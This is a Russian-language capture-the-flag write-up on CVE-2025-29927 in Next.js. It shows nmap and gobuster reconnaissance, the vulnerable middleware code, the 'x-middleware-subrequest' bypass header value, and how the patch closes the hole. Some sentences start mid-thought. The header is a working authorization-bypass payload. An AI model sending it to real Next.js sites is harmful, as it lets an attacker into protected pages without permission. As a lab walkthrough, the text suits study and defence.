
Задача Capture the Flag: CVE-2025-29927 в сочетании с уязвимостью внедрения команд
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard перенаправляет на /login. Сможете ли вы найти на странице входа какую-нибудь информацию, которая позволит обойти перенаправление?
— — —
x-middleware-subrequest. Next.js использует этот заголовок внутренне, чтобы предотвратить бесконечные циклы middleware. При обработке запроса функция runMiddleware проверяет заголовки запроса:
x-middleware-subrequest присутствует
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Используя этот заголовок, мы сообщаем middleware: «Это уже запрос, сгенерированный middleware — не выполняйте middleware снова».
x-middleware-subrequest из всех входящих внешних запросов перед запуском middleware. Заголовок считается доверенным только тогда, когда он создан внутри среды выполнения Next.js при легитимном цепочечном вызове middleware.
Конкретно, значение x-middleware-subrequest теперь проверяется на соответствие случайно сгенерированной шестнадцатеричной строке, что гарантирует, что только легитимные внутренние сессионные запросы проходят проверку авторизации. Таким образом, даже если злоумышленник отправляет заголовок, Next.js теперь может отличить настоящий внутренний подзапрос (который содержит правильный случайно сгенерированный токен) от поддельного, отправленного внешним злоумышленником.
— — —